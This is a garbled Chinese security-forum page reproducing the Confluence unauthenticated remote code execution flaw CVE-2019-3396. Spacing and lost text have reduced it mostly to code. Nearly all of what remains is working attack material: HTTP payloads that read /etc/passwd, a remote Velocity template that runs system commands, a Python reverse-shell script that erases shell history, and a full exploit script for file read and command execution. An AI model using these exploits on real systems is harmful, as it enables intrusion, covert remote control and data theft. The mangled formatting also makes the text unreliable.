[6669] 2020-04-26_Confluence未授权RCE(CVE-2019-3396)漏洞复现

文档创建者:s7ckTeam
浏览次数:7
最后更新:2025-01-17
2020-04-26_Confluence未授权RCE(CVE-2019-3396)漏洞复现 C o n f l u e n c e R C E C V E - 2 0 1 9 - 3 3 9 6 E   2 0 2 0 - 0 4 - 2 6   4 c k 1 k N o . 1 N o . 1 使 N o . 2 N o . 2 6 . 6 . 1 2 6 . 7 . 0 - 6 . 1 2 . 2 6 . 1 3 . 3 6 . 1 3 . x 6 . 1 4 . 2 6 . 1 4 . x N o . 3 N o . 3 使 _ t e m p l a t e V e l o c i t y ,   使 f i l e : ( c l a s s p a t h ) N o . 4 N o . 4 1 C o n f l u e n c e 2 w i d g e t c o n n e c t o r - 3 . 1 . 3 . j a r     w i d g e t c o n n e c t o r - 3 . 1 . 4 . j a r N o . 5 N o . 5 R e f e r e r P O S T   / r e s t / t i n y m c e / 1 / m a c r o / p r e v i e w   H T T P / 1 . 1 H o s t :   l o c a l h o s t U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 5 5 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 5 5 . 0   A c c e p t :   t e x t / p l a i n ,   * / * ;   q = 0 . 0 1 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , e n - U S ; q = 0 . 5 , e n ; q = 0 . 3   A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e ,   b r   C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n ; c h a r s e t = u t f - 8 X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t R e f e r e r :   h t t p : / / l o c a t h o s t / C o n t e n t - L e n g t h :   1 6 7   X - F o r w a r d e d - F o r :   1 2 7 . 0 . 0 . 2   C o n n e c t i o n :   k e e p - a l i v e   { " c o n t e n t I d " : " 7 8 6 4 5 7 " , " m a c r o " : { " n a m e " : " w i d g e t " , " p a r a m s " : { " u r l " : " h t t p s : / / w w w . v i d d l e r . c o m / v / 2 3 4 6 4 d c 5 " , " w i d t h " : " 1 0 0 0 " , " h e i g h t " : " 1 0 0 0 " , " _ t e m p l a t e " : " f i l e : / / / e t c / p a s s w d " } } }   .
P O S T   / r e s t / t i n y m c e / 1 / m a c r o / p r e v i e w   H T T P / 1 . 1 H o s t :   l o c a l h o s t   U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 5 5 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 5 5 . 0   A c c e p t : t e x t / p l a i n ,   * / * ;   q = 0 . 0 1 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , e n - U S ; q = 0 . 5 , e n ; q = 0 . 3 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e ,   b r   C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n ;   c h a r s e t = u t f - 8 X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t   R e f e r e r :   h t t p : / / l o c a l h o s t / C o n t e n t - L e n g t h :   1 9 8 X - F o r w a r d e d - F o r :   1 2 7 . 0 . 0 . 2   C o n n e c t i o n :   k e e p - a l i v e   { " c o n t e n t I d " : " 1 " , " m a c r o " : { " n a m e " : " w i d g e t " , " p a r a m s " : { " u r l " : " h t t p s : / / w w w . d a i l y m o t i o n . c o m / v i d e o / x c p a 6 4 " , " w i d t h " : " 3 0 0 " , " h e i g h t " : " 2 0 0 " , " _ t e m p l a t e " : " f t p : / / 1 . 1 . 1 . 1 / e x e c . v m " , " c m d " : " w h o a m i " } } } f t p h t t p s p i p   i n s t a l l   p y f t p d l i b p y t h o n   - m   p y f t p d l i b   - p     8 8 8 8  
f t p e x e c . v m f t p e x e c . v m # s e t   ( $ e = " e x p " ) # s e t   ( $ a = $ e . g e t C l a s s ( ) . f o r N a m e ( " j a v a . l a n g . R u n t i m e " ) . g e t M e t h o d ( " g e t R u n t i m e " , n u l l ) . i n v o k e ( n u l l , n u l l ) . e x e c ( $ c m d ) ) # s e t   ( $ i n p u t = $ e . g e t C l a s s ( ) . f o r N a m e ( " j a v a . l a n g . P r o c e s s " ) . g e t M e t h o d ( " g e t I n p u t S t r e a m " ) . i n v o k e ( $ a ) ) # s e t ( $ s c   =   $ e . g e t C l a s s ( ) . f o r N a m e ( " j a v a . u t i l . S c a n n e r " ) ) # s e t ( $ c o n s t r u c t o r   =   $ s c . g e t D e c l a r e d C o n s t r u c t o r ( $ e . g e t C l a s s ( ) . f o r N a m e ( " j a v a . i o . I n p u t S t r e a m " ) ) ) # s e t ( $ s c a n = $ c o n s t r u c t o r . n e w I n s t a n c e ( $ i n p u t ) . u s e D e l i m i t e r ( " A " ) ) # i f ( $ s c a n . h a s N e x t ( ) ) $ s c a n . n e x t ( ) # e n d s h e l l n c . e x e n c . p y ( p y t h o n 使 ) n c . e x e   - l v v p   8 0 0 0 n c . p y #   - * -   c o d i n g : u t f - 8   - * - # ! / u s r / b i n / e n v   p y t h o n " " " b a c k   c o n n e c t   p y   v e r s i o n , o n l y   l i n u x   h a v e   p t y   m o d u l e c o d e   b y   g o o g l e   s e c u r i t y   t e a m " " " i m p o r t   s y s , o s , s o c k e t , p t y s h e l l   =   " / b i n / s h " d e f   u s a g e ( n a m e ) :       p r i n t   ' p y t h o n   r e v e r s e   c o n n e c t o r '       p r i n t   ' u s a g e :   % s   < i p _ a d d r >   < p o r t > '   %   n a m e d e f   m a i n ( ) :       i f   l e n ( s y s . a r g v )   ! = 3 :               u s a g e ( s y s . a r g v [ 0 ] )               s y s . e x i t ( )       s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M )       t r y :
      t r y :               s . c o n n e c t ( ( s y s . a r g v [ 1 ] , i n t ( s y s . a r g v [ 2 ] ) ) )               p r i n t   ' c o n n e c t   o k '       e x c e p t :               p r i n t   ' c o n n e c t   f a i l d '               s y s . e x i t ( )       o s . d u p 2 ( s . f i l e n o ( ) , 0 )       o s . d u p 2 ( s . f i l e n o ( ) , 1 )       o s . d u p 2 ( s . f i l e n o ( ) , 2 )       g l o b a l   s h e l l       o s . u n s e t e n v ( " H I S T F I L E " )       o s . u n s e t e n v ( " H I S T F I L E S I Z E " )       o s . u n s e t e n v ( " H I S T S I Z E " )       o s . u n s e t e n v ( " H I S T O R Y " )       o s . u n s e t e n v ( " H I S T S A V E " )       o s . u n s e t e n v ( " H I S T Z O N E " )       o s . u n s e t e n v ( " H I S T L O G " )       o s . u n s e t e n v ( " H I S T C M D " )       o s . p u t e n v ( " H I S T F I L E " , ' / d e v / n u l l ' )       o s . p u t e n v ( " H I S T S I Z E " , ' 0 ' )       o s . p u t e n v ( " H I S T F I L E S I Z E " , ' 0 ' )       p t y . s p a w n ( s h e l l )       s . c l o s e ( ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :       m a i n ( ) 使 n c . p y P O S T   / r e s t / t i n y m c e / 1 / m a c r o / p r e v i e w   H T T P / 1 . 1 H o s t :   l o c a l h o s t   U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 5 5 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 5 5 . 0   A c c e p t : t e x t / p l a i n ,   * / * ;   q = 0 . 0 1 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , e n - U S ; q = 0 . 5 , e n ; q = 0 . 3   A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e ,   b r   C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n ; c h a r s e t = u t f - 8 X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t   R e f e r e r :   h t t p : / / l o c a l h o s t / C o n t e n t - L e n g t h :   2 3 2 X - F o r w a r d e d - F o r :   1 2 7 . 0 . 0 . 2   C o n n e c t i o n :   k e e p - a l i v e   { " c o n t e n t I d " : " 1 " , " m a c r o " : { " n a m e " : " w i d g e t " , " p a r a m s " : { " u r l " : " h t t p s : / / w w w . v i d d l e r . c o m / v / t e s t " , " w i d t h " : " 1 0 0 0 " , " h e i g h t " : " 1 0 0 0 " , " _ t e m p l a t e " : " f t p : / / 1 . 1 . 1 . 1 / r . v m " , " c o m m a n d " : " s e t s i d   p y t h o n / t m p / n c . p y   1 0 . 1 0 . 2 0 . 1 6 6   8 9 8 9 " } , " b o d y " : " " } } 使 e x p #   - * -   c o d i n g :   u t f - 8   - * -
i m p o r t   r e i m p o r t   s y s i m p o r t   r e q u e s t s i m p o r t   s s l t r y :       _ c r e a t e _ u n v e r i f i e d _ h t t p s _ c o n t e x t   =   s s l . _ c r e a t e _ u n v e r i f i e d _ c o n t e x t e x c e p t   A t t r i b u t e E r r o r :       p a s s e l s e :       s s l . _ c r e a t e _ d e f a u l t _ h t t p s _ c o n t e x t   =   _ c r e a t e _ u n v e r i f i e d _ h t t p s _ c o n t e x t d e f   _ r e a d ( u r l ) :       r e s u l t   =   { }       #   f i l e n a m e   =   " . . / w e b . x m l "       f i l e n a m e   =   ' f i l e : / / / / e t c / g r o u p '       p a y l a o d   =   u r l   +   " / r e s t / t i n y m c e / 1 / m a c r o / p r e v i e w "       h e a d e r s   =   {               " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( X 1 1 ;   L i n u x   x 8 6 _ 6 4 ;   r v : 6 0 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 0 . 0 " ,               " R e f e r e r " :   u r l   +   " / p a g e s / r e s u m e d r a f t . a c t i o n ? d r a f t I d = 1 2 3 4 5 & d r a f t S h a r e I d = 0 5 6 b 5 5 b c - f c 4 a - 4 8 7 b - b 1 e 1 - 8 f 6 7 3 f 2 8 0 c 2 3 & " ,               " C o n t e n t - T y p e " :   " a p p l i c a t i o n / j s o n ;   c h a r s e t = u t f - 8 "       }       d a t a   =   ' { " c o n t e n t I d " : " 1 2 3 4 5 " , " m a c r o " : { " n a m e " : " w i d g e t " , " b o d y " : " " , " p a r a m s " : { " u r l " : " h t t p s : / / w w w . v i d d l e r . c o m / v / 2 3 4 6 4 d c 5 " , " w i d t h " : " 1 0 0 0 " , " h e i g h t " : " 1 0 0 0 " , " _ t e m p l a t e " : " % s " } } } '   %   f i l e n a m e       r   =   r e q u e s t s . p o s t ( p a y l a o d ,   d a t a = d a t a ,   h e a d e r s = h e a d e r s )       #   p r i n t   r . c o n t e n t       i f   r . s t a t u s _ c o d e   = =   2 0 0   a n d   " w i k i - c o n t e n t "   i n   r . t e x t :               m   =   r e . f i n d a l l ( ' . * w i k i - c o n t e n t " > n ( . * ) n                         < / d i v > n ' ,   r . t e x t ,   r e . S )       r e t u r n   m [ 0 ] d e f   _ e x e c ( u r l , c m d ) :       r e s u l t   =   { }       f i l e n a m e   =   " f t p : / / 1 . 1 . 1 . 1 / c m d . v m "       p a y l a o d   =   u r l   +   " / r e s t / t i n y m c e / 1 / m a c r o / p r e v i e w "       h e a d e r s   =   {               " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( X 1 1 ;   L i n u x   x 8 6 _ 6 4 ;   r v : 6 0 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 0 . 0 " ,               " R e f e r e r " :   u r l   +   " / p a g e s / r e s u m e d r a f t . a c t i o n ? d r a f t I d = 1 2 3 4 5 & d r a f t S h a r e I d = 0 5 6 b 5 5 b c - f c 4 a - 4 8 7 b - b 1 e 1 - 8 f 6 7 3 f 2 8 0 c 2 3 & " ,
              " C o n t e n t - T y p e " :   " a p p l i c a t i o n / j s o n ;   c h a r s e t = u t f - 8 "       }       d a t a   =   ' { " c o n t e n t I d " : " 1 2 3 4 5 " , " m a c r o " : { " n a m e " : " w i d g e t " , " b o d y " : " " , " p a r a m s " : { " u r l " : " h t t p : / / w w w . d a i l y m o t i o n . c o m / v i d e o / x c p a 6 4 " , " w i d t h " : " 3 0 0 " , " h e i g h t " : " 2 0 0 " , " _ t e m p l a t e " : " % s " , " c m d " : " % s " } } } '   % ( f i l e n a m e , c m d )       r   =   r e q u e s t s . p o s t ( p a y l a o d ,   d a t a = d a t a ,   h e a d e r s = h e a d e r s )       #   p r i n t   r . c o n t e n t       i f   r . s t a t u s _ c o d e   = =   2 0 0   a n d   " w i k i - c o n t e n t "   i n   r . t e x t :               m   =   r e . f i n d a l l ( ' . * w i k i - c o n t e n t " > n ( . * ) n                         < / d i v > n ' ,   r . t e x t ,   r e . S )       r e t u r n   m [ 0 ] i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :       i f   l e n ( s y s . a r g v )   ! =   3 :               p r i n t   ' U s a g e :   R C E _ e x p . p y   h t t p [ s ] : / / t a r g e t . c o m : 8 0 8 0 /   " l s   - a l " '               s y s . e x i t ( 0 )       u r l   =   s y s . a r g v [ 1 ]       c m d   =   s y s . a r g v [ 2 ]       p r i n t   _ e x e c ( u r l , c m d ) E   h t t p s : / / w w w . e a s y a q . c o m W H O E   2 0 2 0 0 4 1 7 - 0 4 2 4 |   I B M A p p     W i n d o w s I C O 5 0     E
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则